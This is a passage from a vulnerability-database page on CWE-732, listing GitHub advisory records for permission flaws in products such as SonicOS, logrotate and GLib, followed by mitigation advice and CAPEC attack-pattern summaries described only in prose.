"score": "CVSS:4.0/AV:P/AC:L/AT:P/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-49VW-7J46-X482
Vulnerability from github – Published: 2022-05-13 01:53 – Updated: 2022-05-13 01:53In SonicWall SonicOS, administrators without full permissions can download imported certificates. Occurs when administrators who are not in the SonicWall Administrators user group attempt to download imported certificates. This vulnerability affected SonicOS Gen 5 version 5.9.1.10 and earlier, Gen 6 version 6.2.7.3, 6.5.1.3, 6.5.2.2, 6.5.3.1, 6.2.7.8, 6.4.0.0, 6.5.1.8, 6.0.5.3-86o and SonicOSv 6.5.0.2-8v_RC363 (VMWARE), 6.5.0.2.8v_RC367 (AZURE), SonicOSv 6.5.0.2.8v_RC368 (AWS), SonicOSv 6.5.0.2.8v_RC366 (HYPER_V).
{
"affected": [],
"aliases": [
"CVE-2018-9867"
],
"database_specific": {
"cwe_ids": [
"CWE-732"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-02-19T21:29:00Z",
"severity": "MODERATE"
},
"details": "In SonicWall SonicOS, administrators without full permissions can download imported certificates. Occurs when administrators who are not in the SonicWall Administrators user group attempt to download imported certificates. This vulnerability affected SonicOS Gen 5 version 5.9.1.10 and earlier, Gen 6 version 6.2.7.3, 6.5.1.3, 6.5.2.2, 6.5.3.1, 6.2.7.8, 6.4.0.0, 6.5.1.8, 6.0.5.3-86o and SonicOSv 6.5.0.2-8v_RC363 (VMWARE), 6.5.0.2.8v_RC367 (AZURE), SonicOSv 6.5.0.2.8v_RC368 (AWS), SonicOSv 6.5.0.2.8v_RC366 (HYPER_V).",
"id": "GHSA-49vw-7j46-x482",
"modified": "2022-05-13T01:53:57Z",
"published": "2022-05-13T01:53:57Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-9867"
},
{
"type": "WEB",
"url": "https://psirt.global.sonicwall.com/vuln-detail/SNWLID-2018-0017"
},
{
"type": "WEB",
"url": "https://www.tenable.com/security/research/tra-2019-08"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-4C2J-P6FQ-FM4P
Vulnerability from github – Published: 2025-11-04 21:31 – Updated: 2025-11-05 00:31Incorrect Permission Assignment for Critical Resource vulnerability in Salesforce Mulesoft Anypoint Code Builder allows Manipulating Writeable Configuration Files.This issue affects Mulesoft Anypoint Code Builder: before 1.11.6.
{
"affected": [],
"aliases": [
"CVE-2025-64319"
],
"database_specific": {
"cwe_ids": [
"CWE-732"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-11-04T19:17:11Z",
"severity": "MODERATE"
},
"details": "Incorrect Permission Assignment for Critical Resource vulnerability in Salesforce Mulesoft Anypoint Code Builder allows Manipulating Writeable Configuration Files.This issue affects Mulesoft Anypoint Code Builder: before 1.11.6.",
"id": "GHSA-4c2j-p6fq-fm4p",
"modified": "2025-11-05T00:31:32Z",
"published": "2025-11-04T21:31:36Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-64319"
},
{
"type": "WEB",
"url": "https://help.salesforce.com/s/articleView?id=005228032\u0026type=1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-4C4J-W8HM-RJGV
Vulnerability from github – Published: 2022-05-26 00:01 – Updated: 2025-06-09 15:31A vulnerability was found in logrotate in how the state file is created. The state file is used to prevent parallel executions of multiple instances of logrotate by acquiring and releasing a file lock. When the state file does not exist, it is created with world-readable permission, allowing an unprivileged user to lock the state file, stopping any rotation. This flaw affects logrotate versions before 3.20.0.
{
"affected": [],
"aliases": [
"CVE-2022-1348"
],
"database_specific": {
"cwe_ids": [
"CWE-732"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-05-25T16:15:00Z",
"severity": "MODERATE"
},
"details": "A vulnerability was found in logrotate in how the state file is created. The state file is used to prevent parallel executions of multiple instances of logrotate by acquiring and releasing a file lock. When the state file does not exist, it is created with world-readable permission, allowing an unprivileged user to lock the state file, stopping any rotation. This flaw affects logrotate versions before 3.20.0.",
"id": "GHSA-4c4j-w8hm-rjgv",
"modified": "2025-06-09T15:31:33Z",
"published": "2022-05-26T00:01:09Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-1348"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2022-1348"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/Y7EHGYRE6DSFSBXQIWYDGTSXKO6IFSJQ"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/ZYEB4F37BY6GLEJKP2EPVAVQ6TA3HQKR"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/Y7EHGYRE6DSFSBXQIWYDGTSXKO6IFSJQ"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/ZYEB4F37BY6GLEJKP2EPVAVQ6TA3HQKR"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2022/05/25/3"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2022/05/25/4"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2022/05/25/5"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-4CMR-H54H-4W78
Vulnerability from github – Published: 2022-05-24 16:49 – Updated: 2024-04-04 01:06The keyfile settings backend in GNOME GLib (aka glib2.0) before 2.59.1 creates directories using g_file_make_directory_with_parents (kfsb->dir, NULL, NULL) and files using g_file_replace_contents (kfsb->file, contents, length, NULL, FALSE, G_FILE_CREATE_REPLACE_DESTINATION, NULL, NULL, NULL). Consequently, it does not properly restrict directory (and file) permissions. Instead, for directories, 0777 permissions are used; for files, default file permissions are used. This is similar to CVE-2019-12450.
{
"affected": [],
"aliases": [
"CVE-2019-13012"
],
"database_specific": {
"cwe_ids": [
"CWE-732"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-06-28T15:15:00Z",
"severity": "HIGH"
},
"details": "The keyfile settings backend in GNOME GLib (aka glib2.0) before 2.59.1 creates directories using g_file_make_directory_with_parents (kfsb-\u003edir, NULL, NULL) and files using g_file_replace_contents (kfsb-\u003efile, contents, length, NULL, FALSE, G_FILE_CREATE_REPLACE_DESTINATION, NULL, NULL, NULL). Consequently, it does not properly restrict directory (and file) permissions. Instead, for directories, 0777 permissions are used; for files, default file permissions are used. This is similar to CVE-2019-12450.",
"id": "GHSA-4cmr-h54h-4w78",
"modified": "2024-04-04T01:06:20Z",
"published": "2022-05-24T16:49:01Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-13012"
},
{
"type": "WEB",
"url": "https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=931234#12"
},
{
"type": "WEB",
"url": "https://gitlab.gnome.org/GNOME/glib/commit/5e4da714f00f6bfb2ccd6d73d61329c6f3a08429"
},
{
"type": "WEB",
"url": "https://gitlab.gnome.org/GNOME/glib/issues/1658"
},
{
"type": "WEB",
"url": "https://gitlab.gnome.org/GNOME/glib/merge_requests/450"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r58af02e294bd07f487e2c64ffc0a29b837db5600e33b6e698b9d696b%40%3Cissues.bookkeeper.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r58af02e294bd07f487e2c64ffc0a29b837db5600e33b6e698b9d696b@%3Cissues.bookkeeper.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/rf4c02775860db415b4955778a131c2795223f61cb8c6a450893651e4%40%3Cissues.bookkeeper.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/rf4c02775860db415b4955778a131c2795223f61cb8c6a450893651e4@%3Cissues.bookkeeper.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2019/07/msg00029.html"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2019/08/msg00004.html"
},
{
"type": "WEB",
"url": "https://security.netapp.com/advisory/ntap-20190806-0003"
},
{
"type": "WEB",
"url": "https://usn.ubuntu.com/4049-1"
},
{
"type": "WEB",
"url": "https://usn.ubuntu.com/4049-2"
},
{
"type": "WEB",
"url": "http://lists.opensuse.org/opensuse-security-announce/2019-07/msg00022.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-4CPF-VQ4F-2RM5
Vulnerability from github – Published: 2025-12-02 21:31 – Updated: 2025-12-02 21:31NMIS/BioDose V22.02 and previous version installations where the embedded Microsoft SQLServer Express is used are exposed in the Windows share accessed by clients in networked installs. By default, this directory has insecure directory paths that allow access to the SQL Server database and configuration files, which can contain sensitive data.
{
"affected": [],
"aliases": [
"CVE-2025-64298"
],
"database_specific": {
"cwe_ids": [
"CWE-732"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-12-02T21:15:52Z",
"severity": "HIGH"
},
"details": "NMIS/BioDose V22.02 and previous version installations where the embedded Microsoft SQLServer Express is used are exposed in the Windows share accessed by clients in networked installs. By default, this directory has insecure directory paths that allow access to the SQL Server database and configuration files, which can contain sensitive data.",
"id": "GHSA-4cpf-vq4f-2rm5",
"modified": "2025-12-02T21:31:31Z",
"published": "2025-12-02T21:31:31Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-64298"
},
{
"type": "WEB",
"url": "https://www.cisa.gov/news-events/ics-medical-advisories/icsma-25-336-01"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-4CR9-M65Q-XQJG
Vulnerability from github – Published: 2022-05-13 01:35 – Updated: 2022-05-13 01:35A vulnerability in the CLI of Cisco Policy Suite could allow an authenticated, local attacker to access files owned by another user. The vulnerability is due to insufficient access control permissions (i.e., World-Readable). An attacker could exploit this vulnerability by logging in to the CLI. An exploit could allow the attacker to access potentially sensitive files that are owned by a different user. Cisco Bug IDs: CSCvh18087.
{
"affected": [],
"aliases": [
"CVE-2018-0392"
],
"database_specific": {
"cwe_ids": [
"CWE-732"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-07-18T23:29:00Z",
"severity": "MODERATE"
},
"details": "A vulnerability in the CLI of Cisco Policy Suite could allow an authenticated, local attacker to access files owned by another user. The vulnerability is due to insufficient access control permissions (i.e., World-Readable). An attacker could exploit this vulnerability by logging in to the CLI. An exploit could allow the attacker to access potentially sensitive files that are owned by a different user. Cisco Bug IDs: CSCvh18087.",
"id": "GHSA-4cr9-m65q-xqjg",
"modified": "2022-05-13T01:35:15Z",
"published": "2022-05-13T01:35:15Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-0392"
},
{
"type": "WEB",
"url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20180718-policy-suite-data"
},
{
"type": "WEB",
"url": "http://www.securityfocus.com/bid/104866"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
Mitigation
When using a critical resource such as a configuration file, check to see if the resource has insecure permissions (such as being modifiable by any regular user) [REF-62], and generate an error or even exit the software if there is a possibility that the resource could have been modified by an unauthorized party.
Mitigation
Divide the software into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully defining distinct user groups, privileges, and/or roles. Map these against data, functionality, and the related resources. Then set the permissions accordingly. This will allow you to maintain more fine-grained control over your resources. [REF-207]
Mitigation MIT-22
Strategy: Sandbox or Jail
- Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
- OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation
During program startup, explicitly set the default permissions or umask to the most restrictive setting possible. Also set the appropriate permissions during program installation. This will prevent you from inheriting insecure permissions from any user who installs or runs the program.
Mitigation
For all configuration files, executables, and libraries, make sure that they are only readable and writable by the software's administrator.
Mitigation
Do not suggest insecure configuration changes in documentation, especially if those configurations can extend to resources and other programs that are outside the scope of the application.
Mitigation
Do not assume that a system administrator will manually change the configuration to the settings that are recommended in the software's manual.
Mitigation MIT-37
Strategy: Environment Hardening
Ensure that the software runs properly under the United States Government Configuration Baseline (USGCB) [REF-199] or an equivalent hardening configuration guide, which many organizations use to limit the attack surface and potential risk of deployed software.
Mitigation
When storing data in the cloud (e.g., S3 buckets, Azure blobs, Google Cloud Storage, etc.), use the provider's controls to disable public access.
CAPEC-1: Accessing Functionality Not Properly Constrained by ACLs
In applications, particularly web applications, access to functionality is mitigated by an authorization framework. This framework maps Access Control Lists (ACLs) to elements of the application's functionality; particularly URL's for web apps. In the case that the administrator failed to specify an ACL for a particular element, an attacker may be able to access it with impunity. An attacker with the ability to access functionality not properly constrained by ACLs can obtain sensitive information and possibly compromise the entire application. Such an attacker can access resources that must be available only to users at a higher privilege level, can access management sections of the application, or can run queries for data that they otherwise not supposed to.
CAPEC-122: Privilege Abuse
An adversary is able to exploit features of the target that should be reserved for privileged users or administrators but are exposed to use by lower or non-privileged accounts. Access to sensitive information and functionality must be controlled to ensure that only authorized users are able to access these resources.
CAPEC-127: Directory Indexing
An adversary crafts a request to a target that results in the target listing/indexing the content of a directory as output. One common method of triggering directory contents as output is to construct a request containing a path that terminates in a directory name rather than a file name since many applications are configured to provide a list of the directory's contents when such a request is received. An adversary can use this to explore the directory tree on a target as well as learn the names of files. This can often end up revealing test files, backup files, temporary files, hidden files, configuration files, user accounts, script contents, as well as naming conventions, all of which can be used by an attacker to mount additional attacks.
CAPEC-17: Using Malicious Files
An attack of this type exploits a system's configuration that allows an adversary to either directly access an executable file, for example through shell access; or in a possible worst case allows an adversary to upload a file and then execute it. Web servers, ftp servers, and message oriented middleware systems which have many integration points are particularly vulnerable, because both the programmers and the administrators must be in synch regarding the interfaces and the correct privileges for each interface.
CAPEC-180: Exploiting Incorrectly Configured Access Control Security Levels
An attacker exploits a weakness in the configuration of access controls and is able to bypass the intended protection that these measures guard against and thereby obtain unauthorized access to the system or network. Sensitive functionality should always be protected with access controls. However configuring all but the most trivial access control systems can be very complicated and there are many opportunities for mistakes. If an attacker can learn of incorrectly configured access security settings, they may be able to exploit this in an attack.
CAPEC-206: Signing Malicious Code
The adversary extracts credentials used for code signing from a production environment and then uses these credentials to sign malicious content with the developer's key. Many developers use signing keys to sign code or hashes of code. When users or applications verify the signatures are accurate they are led to believe that the code came from the owner of the signing key and that the code has not been modified since the signature was applied. If the adversary has extracted the signing credentials then they can use those credentials to sign their own code bundles. Users or tools that verify the signatures attached to the code will likely assume the code came from the legitimate developer and install or run the code, effectively allowing the adversary to execute arbitrary code on the victim's computer. This differs from CAPEC-673, because the adversary is performing the code signing.
CAPEC-234: Hijacking a privileged process
An adversary gains control of a process that is assigned elevated privileges in order to execute arbitrary code with those privileges. Some processes are assigned elevated privileges on an operating system, usually through association with a particular user, group, or role. If an attacker can hijack this process, they will be able to assume its level of privilege in order to execute their own code.
CAPEC-60: Reusing Session IDs (aka Session Replay)
This attack targets the reuse of valid session ID to spoof the target system in order to gain privileges. The attacker tries to reuse a stolen session ID used previously during a transaction to perform spoofing and session hijacking. Another name for this type of attack is Session Replay.
CAPEC-61: Session Fixation
The attacker induces a client to establish a session with the target software using a session identifier provided by the attacker. Once the user successfully authenticates to the target software, the attacker uses the (now privileged) session identifier in their own transactions. This attack leverages the fact that the target software either relies on client-generated session identifiers or maintains the same session identifiers after privilege elevation.
CAPEC-62: Cross Site Request Forgery
An attacker crafts malicious web links and distributes them (via web pages, email, etc.), typically in a targeted manner, hoping to induce users to click on the link and execute the malicious action against some third-party application. If successful, the action embedded in the malicious link will be processed and accepted by the targeted application with the users' privilege level. This type of attack leverages the persistence and implicit trust placed in user session cookies by many web applications today. In such an architecture, once the user authenticates to an application and a session cookie is created on the user's system, all following transactions for that session are authenticated using that cookie including potential actions initiated by an attacker and simply "riding" the existing session cookie.
CAPEC-642: Replace Binaries
Adversaries know that certain binaries will be regularly executed as part of normal processing. If these binaries are not protected with the appropriate file system permissions, it could be possible to replace them with malware. This malware might be executed at higher system permission levels. A variation of this pattern is to discover self-extracting installation packages that unpack binaries to directories with weak file permissions which it does not clean up appropriately. These binaries can be replaced by malware, which can then be executed.